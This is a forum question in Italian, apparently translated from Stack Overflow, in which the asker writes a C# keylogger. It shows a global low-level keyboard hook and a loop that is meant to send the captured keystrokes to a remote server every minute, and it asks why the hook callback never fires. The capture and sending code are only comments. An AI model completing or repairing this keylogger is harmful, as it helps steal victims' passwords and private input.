Sto scrivendo un keylogger in C# ma sto avendo qualche problema a ottenere il mio metodo di hook chiamato dagli eventi della tastiera. Il mio codice sembra corretto ma per qualche motivo la richiamata non sta accadendo.Hook tastiera di basso livello non chiamato nell'applicazione .NET
Ecco il codice rilevante:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;
static void Main()
{
/* install low level global keyboard hook */
HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);
/* every 60 seconds, process collected keystrokes */
for (;;)
{
Thread.Sleep(60000);
SendKeyData();
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
/* code to handle key events would be here */
return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}
private static void SendKeyData()
{
/* code to send accumulated keystroke data to remote server would be here */
}
La chiamata SetWindowsHookEx
restituisce una maniglia (cioè non un null) come si deve, quindi dovrebbe significare che si è installato, ma quando ho messo un punto di interruzione in HookCallback
, non è mai raggiunto.
Qualcuno può consigliare quello che potrei fare di sbagliato?
Funziona se si commenta il blocco 'for'? –
Nessun processo termina immediatamente se lo faccio. –
Probabilmente è una pratica migliore usare un Timer invece di un ciclo infinito. Almeno con un Timer potresti fermarlo se necessario. – jlafay